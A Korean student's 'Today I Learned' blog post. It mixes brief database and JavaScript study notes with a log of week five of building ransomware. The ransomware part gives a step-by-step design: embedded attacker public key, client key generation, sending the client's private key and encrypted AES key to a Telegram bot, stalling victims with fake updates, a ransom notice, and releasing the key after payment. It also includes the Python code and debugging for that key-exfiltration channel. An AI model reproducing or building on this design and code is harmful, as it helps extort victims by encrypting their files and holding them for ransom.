Today I Learned

최지웅·2023년 10월 15일
0

Today I Learned

목록 보기
21/238
post-thumbnail

오늘 할일

오늘 한일
0. 데이터 베이스 공부 끝
관계대수식 작성하는 것을 체화하는 공부가 필요. 이번 공부 때에는 SQL관련해서 하나하나 예제를 따라해봤다면 이제는 관계대수식을 하나하나 따라해봐야 할 듯 하다.
SQL활용은 시험범위로 들어간다는 건가 안들어간가는 건가..? 과제에서도 애매모호하게 추후에 공지하겠다고 했는데 이번주부터가 시험기간이다. 풀강으로 다 나간다는건지 ... 배제한다는 건지 ... 일단 오늘까지 제출해야하는 데베 과제부터 하자.. 기초범위니까..

1. 모든 과제 완료(데이터베이스, 고급웹프로그래밍)
우선 데이터베이스 과제 제출 완료. 생각보다 어려웠음.
고급 웹 프로그래밍 과제 제출 완료. 확인해보니까 수업시간 때 코드다 짜뒀어서 보고서에 정리만 하고 바로 업로드. 이제 모든 과제 끝!

2. 고급 웹 프로그래밍 공부 시작
일단 총 10개의 챕터 중 하나의 챕터만 끝냈다. 기본 JS설명으로 크게 어렵지 않았다.
전반적으로 느낀건 정말 금방 공부끝나겠다 정도..? 우선 일주일 내내 열이 나고 오늘은 좀 쉬어야 할 듯 하니.. 급한불도 다 껐겠다.. 오늘은 여기까지 하고 이따가 산책갔다와서 상태봐서 랜섬웨어나 좀 건들여야겠다.

[02. 기본]
2-1. 문장=표현식; 특수문자 와 $만 허용. 이스케이프문자 console.log("이런게 \"이스케이프 문자래요 \n얘도 마찬가지고 \t \n \' \" \이건 역슬레시");
2-2. JS는 REPL(Read Eval Print Loop)즉, 그냥 바로 입력하면 실행 결과를 반환한다. >273+45 >"안녕"+"하세요"
2-3. console> node test.js
2-4. console.log("안녕하세요"[2]); 가 가능. 하가 반환.
2-5. 백틱쓰는 53 + 273 = ${52+273}문자열을 템플릿 문자열 ECMAScript6이라고 함. 올해는 ${new Date().getFullYear()}년입니다.
2-6. 30>20>10은 false
2-7. let hours=(new Date)).getHours();
2-8. 유일하게 문자에 사용가능한 복합대입연산자 let msg="hello"; msg+=" world!";
2-9. typeof "문자열" typeof("문자열") 둘 다 가능
2-10. 캐스팅 함수 Number()
문자열넣으면NaNNaN은 다 다르기에 isNaN()함수를 사용해야한다, String(), Boolean()_0 NaN "" null undefined만 false
let nan=Number('문자'); nan==nan;이 false임!!
ㄴBoolean()은 !!와 같음.
ㄴ===은 값 뿐 아니라 자료형까지 비교. ${52=="52"} ${52==="52"} {0==""} {0 === ""}

3. 랜섬웨어 개발 5주차_멀티스레딩 및 플로우차트 기반으로 클라이언트와 서버 프로그램 분리
우선 현재까지 랜섬웨어를 개발하는 모든 과정은 하나의 .py스크립트 파일에서 개발했었다. 실질적인 랜섬웨어는 서버와 클라이언트를 분리하지만 생각하는 기능들을 명령어 단에서 구현이 가능한지를 확인했었고, 오늘 처음으로 실제 명세에 맞춘 랜섬웨어 개발을 진행했다.

우선 아래는 랜섬웨어 개발의 명세이다
1. 서버 프로그램은 개인키와 공개키를 생성하고 대상자의 이메일을 이용하여 클라이언트 프로그램을 전송, 접속을 대기한다.
2. 클라이언트 프로그램은 실행 시 개인키와 공개키, 대칭키전용키를 생성한다.
3. 클라이언트 프로그램에서 생성한 대칭키를 공개키 암호화 한다. (서버의 공개키는 내장되어있다)
4. 클라이언트 프로그램에서 공개키와 암호화된 대칭키 파일을 서버에 전송한다. (텔레그램)
암호화가 끝나고 메시지를 지우거나 봇을 삭제하던 해야할듯.
5. 서버 프로그램에서 해당 대칭키를 복호화하여 저장해둔다(핵심 인질)
6. 암호화를 진행시킨다. 암호화 진행이 끊기지 않게 업데이트 등과 같은 이유로 시간을 끈다.
7. 암호화가 완료되면 클라이언트 컴퓨터에서 랜섬웨어 감염사실을 통지한다. 해독을 위한 키값 입력창도 생성한다.
8. 클라이언트가 해커의 요구를 수행하면, 텔레그램을 이용하여 대칭키를 전달한다.(텔레그램)
9. 클라이언트는 전달받은 대칭키로 복호화를 수행한다.

해당 명세에 맞추어 서버와 클라이언트의 프로그램을 분리하였다.
1번의 경우는 우선 클라이언트 프로그램이 실시간으로 서버와 연동되어 동작하는 것이 아닌, 약간의 수작업이 필요한데 기본적인 로직은 클라이언트에 서버의 공개키를 넣은채로 exe파일로 변환하여 공격pc에 이메일을 포함한 여러가지 방법으로 전달한다. 그 후 여러 키값의 교환은 전부 텔레그램을 이용하여 진행되기에 클라이언트는 수작업이 복호화 할 때 외엔 필요없고(해커의 요구조건을 수행 후 키를 전달하는 경우) 서버 역시 실제 복호화를 위한 키값을 복호화할 때 만 수작업이 필요하다.

2번의 경우는 개인키와 공개키, 대칭키를 생성하는 부분에서 첫번째 문제가 발생한다. 해당 키 값을 파일로 저장하는 과정에서 'wb'즉 바이너리 쓰기 모드로 진행하더라도 일반 바이트 코드가 아닌 오브젝트 바이트 코드여서 저장이 불가능하다는 에러가 발생했다.
해당 부분은 nacl모듈 내부를 참고하여 오브젝트 바이트 코드가 아닌 키를 바이트형식으로 반환하는 내부 속성 ._private_key와 ._public_key가 있음을 알아내었고, 해당 key 오브젝트 nacl.secret.PrivateKey, nacl.public.PrivateKey의 생성자로 해당 key오브젝트를 넘겨받으면 정상적으로 오브젝트 생성할 수 있다는 것을 알게되었다. 고로 키값의 저장은 key오브젝트만 저장하고 실제 로드 시에는 해당 키값을 가지는 키 객체를 생성하여 사용한다.

또한 추가적으로 이 과정들을 함수화 하는 과정에서 전역변수를 함수 내부에서 조작하기 위해서는 global키워드를 이용해 변수를 지정해줘야 한다는 것을 알게되었다. 그래도 이 문제는 비교적 빠르게 확인할 수 있었는데, 스크립트 맨 위 환경설정 부분에 초기화되지않은 전역변수 값을 0으로 초기화해두었기에 type()연산자를 통해 int가 나오는 경우 전역변수 값을 함수 내부에서 처리가 되지 않고있다는 것을 금방 알 수 있었다.

3번의 경우는 서버의 공개키를 내장하여 쉽게 암호화할 수 있었다. 다만 문제는 클라이언트의 개인키와 서버의 공개키가 있기에 복호화를 할 수 있다는 점인데 이는 암호화가 모두 끝난 후 어떻게 소거를 해야 좋을지에 대해 고민을 해봐야 할 듯 하다. 중요한 것은 클라이언트의 RSA 개인키의 수거인데, 이는 로컬변수로 두거나 암호화 이후 키파일들을 삭제한 후 재부팅 시켜버리는 것도 좋아보인다. 어떻게 삭제할 것인지는 추후 토론 주제이다.

4번의 경우는 정말 디버깅하기 힘들었는데, 오늘 내로 못할 것 같던 디버깅을 한 30분정도 고군분투한 끝에 디버깅에 성공하였다. 4번은 간단하게 키값을 텔레그램 API를 사용하여 전송하는 것이다. 우선 첫번째 문제는 텔레그램에서 다루는 문자열처리와 파이썬에서 다루는 문자열처리의 차이였다. 파이썬에서는 앞선 PrivateKey나 PublicKey객체의 경우 바이트 코드를 PrivateKey._private_key혹은 PublicKey._public_key속성을 이용하여 가져올 수 있었는데 같은 방식으로 텔레그램에 메시지를 전송하니 해당 바이트 코드는 텔레그램에서 해석할 수 없다는 오류가 발생하였다. 여러 서칭을 진행하며 .decode('utf-8')과 같이 유니코드형식으로도 바꿔봤는데(생각해보니 이미 해당 바이트 코드가 유니코드였던 듯 하다) 여전히 문제가 해결되지 않았다. 여러가지 방식으로 삽질을 진행하다 바이트 코드의 str캐스팅을 시도해보라는 글을 찾고 해당 방법으로 해결되었다.!

sendTelegram(CHAT_ID, str(PRIVATE_KEY_RSA._private_key))

대신 다음 문제를 맞이하게 되는데, telegram bot 모듈이 업데이트 되며 단순히 아래와 같이

def sendTelegram(chat_id, msg):
    BOT.send_message(chat_id, msg)

사용하면 오류가 발생한다.

찾아보니 python버전이 업데이트 되며 아래와 같이 asyncio모듈을 사용하여 감싸줘야 한다

async def sendTelegram(chat_id, msg):
    await BOT.send_message(chat_id, msg)
    
asyncio.run(sendTelegram(CHAT_ID, "ClientRSAPublicKey: "))

해당 방식은 메시지가 정상적으로 작동이 된다. 대신 여러 메시지를 보낼 때 치명적인 문제가 발생한다.

asyncio.run(sendTelegram(CHAT_ID, "ClientRSAPublicKey: "))
asyncio.run(sendTelegram(CHAT_ID, "ClientRSAPublicKey: "))
asyncio.run(sendTelegram(CHAT_ID, "ClientRSAPublicKey: "))
asyncio.run(sendTelegram(CHAT_ID, "ClientRSAPublicKey: "))
Traceback (most recent call last):
  File "C:\Python311\Lib\site-packages\httpcore\_async\http11.py", line 92, in handle_async_request
    await self._send_request_headers(**kwargs)
  File "C:\Python311\Lib\site-packages\httpcore\_async\http11.py", line 147, in _send_request_headers
    await self._send_event(event, timeout=timeout)
  File "C:\Python311\Lib\site-packages\httpcore\_async\http11.py", line 165, in _send_event
    await self._network_stream.write(bytes_to_send, timeout=timeout)
  File "C:\Python311\Lib\site-packages\httpcore\_backends\anyio.py", line 51, in write
    await self._stream.send(item=buffer)
  File "C:\Python311\Lib\site-packages\anyio\streams\tls.py", line 205, in send
    await self._call_sslobject_method(self._ssl_object.write, item)
  File "C:\Python311\Lib\site-packages\anyio\streams\tls.py", line 171, in _call_sslobject_method
    await self.transport_stream.send(self._write_bio.read())
  File "C:\Python311\Lib\site-packages\anyio\_backends\_asyncio.py", line 1138, in send
    self._transport.write(item)
  File "C:\Python311\Lib\asyncio\proactor_events.py", line 365, in write
    self._loop_writing(data=bytes(data))
  File "C:\Python311\Lib\asyncio\proactor_events.py", line 401, in _loop_writing
    self._write_fut = self._loop._proactor.send(self._sock, data)
AttributeError: 'NoneType' object has no attribute 'send'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\Python311\Lib\site-packages\telegram\request\_baserequest.py", line 278, in _request_wrapper
    code, payload = await self.do_request(
  File "C:\Python311\Lib\site-packages\telegram\request\_httpxrequest.py", line 219, in do_request
    res = await self._client.request(
  File "C:\Python311\Lib\site-packages\httpx\_client.py", line 1530, in request
    return await self.send(request, auth=auth, follow_redirects=follow_redirects)
  File "C:\Python311\Lib\site-packages\httpx\_client.py", line 1617, in send
    response = await self._send_handling_auth(
  File "C:\Python311\Lib\site-packages\httpx\_client.py", line 1645, in _send_handling_auth
    response = await self._send_handling_redirects(
  File "C:\Python311\Lib\site-packages\httpx\_client.py", line 1682, in _send_handling_redirects
    response = await self._send_single_request(request)
  File "C:\Python311\Lib\site-packages\httpx\_client.py", line 1719, in _send_single_request
    response = await transport.handle_async_request(request)
  File "C:\Python311\Lib\site-packages\httpx\_transports\default.py", line 366, in handle_async_request
    resp = await self._pool.handle_async_request(req)
  File "C:\Python311\Lib\site-packages\httpcore\_async\connection_pool.py", line 262, in handle_async_request
    raise exc
  File "C:\Python311\Lib\site-packages\httpcore\_async\connection_pool.py", line 245, in handle_async_request
    response = await connection.handle_async_request(request)
  File "C:\Python311\Lib\site-packages\httpcore\_async\connection.py", line 103, in handle_async_request
    return await self._connection.handle_async_request(request)
  File "C:\Python311\Lib\site-packages\httpcore\_async\http11.py", line 132, in handle_async_request
    await self._response_closed()
  File "C:\Python311\Lib\site-packages\httpcore\_async\http11.py", line 245, in _response_closed
    await self.aclose()
  File "C:\Python311\Lib\site-packages\httpcore\_async\http11.py", line 253, in aclose
    await self._network_stream.aclose()
  File "C:\Python311\Lib\site-packages\httpcore\_backends\anyio.py", line 54, in aclose
    await self._stream.aclose()
  File "C:\Python311\Lib\site-packages\anyio\streams\tls.py", line 195, in aclose
    await self.transport_stream.aclose()
  File "C:\Python311\Lib\site-packages\anyio\_backends\_asyncio.py", line 1161, in aclose
    self._transport.close()
  File "C:\Python311\Lib\asyncio\proactor_events.py", line 109, in close
    self._loop.call_soon(self._call_connection_lost, None)
  File "C:\Python311\Lib\asyncio\base_events.py", line 761, in call_soon
    self._check_closed()
  File "C:\Python311\Lib\asyncio\base_events.py", line 519, in _check_closed
    raise RuntimeError('Event loop is closed')
RuntimeError: Event loop is closed

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "E:\github\-ransomware\최지웅\Client.py", line 123, in <module>
    sendKeyToServer(encrypted_aes_key)
  File "E:\github\-ransomware\최지웅\Client.py", line 91, in sendKeyToServer
    asyncio.run(sendTelegram(CHAT_ID, "ClientRSAPublicKey: "))
  File "C:\Python311\Lib\asyncio\runners.py", line 190, in run
    return runner.run(main)
  File "C:\Python311\Lib\asyncio\runners.py", line 118, in run
    return self._loop.run_until_complete(task)
  File "C:\Python311\Lib\asyncio\base_events.py", line 653, in run_until_complete
    return future.result()
  File "E:\github\-ransomware\최지웅\Client.py", line 87, in sendTelegram
    await BOT.send_message(chat_id, msg)
  File "C:\Python311\Lib\site-packages\telegram\_bot.py", line 519, in decorator
    result = await func(self, *args, **kwargs)  # skipcq: PYL-E1102
  File "C:\Python311\Lib\site-packages\telegram\_bot.py", line 840, in send_message
    return await self._send_message(
  File "C:\Python311\Lib\site-packages\telegram\_bot.py", line 697, in _send_message
    result = await self._post(
  File "C:\Python311\Lib\site-packages\telegram\_bot.py", line 607, in _post
    return await self._do_post(
  File "C:\Python311\Lib\site-packages\telegram\_bot.py", line 635, in _do_post
    return await request.post(
  File "C:\Python311\Lib\site-packages\telegram\request\_baserequest.py", line 168, in post
    result = await self._request_wrapper(
  File "C:\Python311\Lib\site-packages\telegram\request\_baserequest.py", line 290, in _request_wrapper
    raise NetworkError(f"Unknown error in HTTP implementation: {exc!r}") from exc
telegram.error.NetworkError: Unknown error in HTTP implementation: RuntimeError('Event loop is closed')

이 에러를 정말 해결하기 힘들었는데, Event loop 가 closed되었다는 RuntimeError가 발생하였다.

시도 1. try-except문으로 담은 pass를 시도하였는데, RuntimeError로 잡히지않았다.

시도 2. 윈도우에서 python 3.8이상으로 asyncio를 사용하면 발생하는 오류라고 window와 관련된 세팅을 해주는 아래의 코드를 추가해보았지만 해결되지않았다.

asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())

시도 3. 별도의 클래스 제작. https://bjwan-career.tistory.com/128 에서 해당 오류는 이벤트 루프가 닫혔는데 사용하려고 하는 경우에 발생하는 오류라고 한다. 즉, asyncio를 사용한 sendMessage함수에서 같은 내부함수를 동시에 사용하다보니 발생하는 오류기에 별도의 클래스를 만들어서 해당 함수에 한번씩만 접근가능하게 만들어보라고 하였다. 고로 Send라는 임시방편의 클래스를 만들어 생성과 동시에 sendMessage를 하게 하였지만 소용이 없었고, sendMessage함수만 4개를 만들어 각각 총 4개의 메시지를 전송시도해봤지만 소용이 없었다. 아마 내부적으로 sendMessage함수에 사용된 Bot객체가 동일하기 때문이 아니었을까 싶다.

시도 4. sleep을 추가하여 비동기 타이밍을 맞춰보려했지만 아무리 sleep을 추가해도 문제가 해결되지 않았다.

시도 5. 4개의 메시지를 보내는 부분을 따로 함수로 만들고 async와 await키워드를 추가하여 전체의 타이밍을 맞춰보려했지만 해당함수가 never await된다는 다른 에러메시지를 만나게 되었다.

시도 6. 전반적인 코루틴의 개념이 부족한 것 같아 파이썬 코딩도장의 asyncio부분을 다룬 글 https://dojang.io/mod/page/view.php?id=2469 을 참고해보았다. 해당 글에서는 asyncio를 사용하기 위해 가장 먼저 이벤트 루프를 만들고, 해당 이벤트 루프가 끝날 때 까지 기다리게 하는 아래의 코드를 사용했다.

loop = asyncio.get_event_loop()     # 이벤트 루프를 얻음
loop.run_until_complete(hello())    # hello가 끝날 때까지 기다림
loop.close()

해당 코드는 시도 3에서 만든 클래스 내부에서 작성되었던 코드와 동일했는데, 직접 이벤트 루프를 만들어 실행하는 코드였다. 시도 3에서 해당 오류는 이벤트 루프가 닫혔는데 다시 사용하려해서 발생하는 오류라고 했는데 위 코드처럼 직접 이벤트 루프를 메시지 전송 시 마다 새로 생성해서 기다리고 닫으면 문제가 해결될 것 같아 다소 난잡하지만 아래와 같이 코드를 수정해보았다.

loop = asyncio.get_event_loop() # 이벤트 루프를 얻음
loop.run_until_complete(sendTelegram(CHAT_ID, "ClientRSAPublicKey: ")) # 끝날 때까지 기다림
loop.close()
loop = asyncio.get_event_loop() 
loop.run_until_complete(sendTelegram(CHAT_ID, str(PRIVATE_KEY_RSA._private_key))) 
loop.close()
loop = asyncio.get_event_loop()
loop.run_until_complete(sendTelegram(CHAT_ID, "EncryptedClientAESKey: "))
loop.close()
loop = asyncio.get_event_loop()  
loop.run_until_complete(sendTelegram(CHAT_ID, str(encrypted_aes_key)))
loop.close()


하지만 여전히 오류가 해결되지 않았다. 하지만 우연한 실수로 인해 문제가 해결되게 되는데, 실수로 close뒤에 괄호()를 다 빼먹은 채로 실행해보았다.

그러자 정상적으로 실행이 되며 실제 텔레그램 채팅방에도 암호화 키가 전달되었다.


즉, 루프를 수동으로 종료하지 않으니 정상적으로 작업이 처리되었다.

아직 구체적인 원리를 제대로 이해하지 못했고, 그 이유는 코루틴에 대한 이해 부족에 있다고 생각한다. 추가적으로 코루틴에 대한 개념을 정리해봐야 할 듯 하고, 우여곡절 끝에 명세 4번까지 서버와 클라이언트 분리구현을 마쳤다.

profile
이제 3학년..

0개의 댓글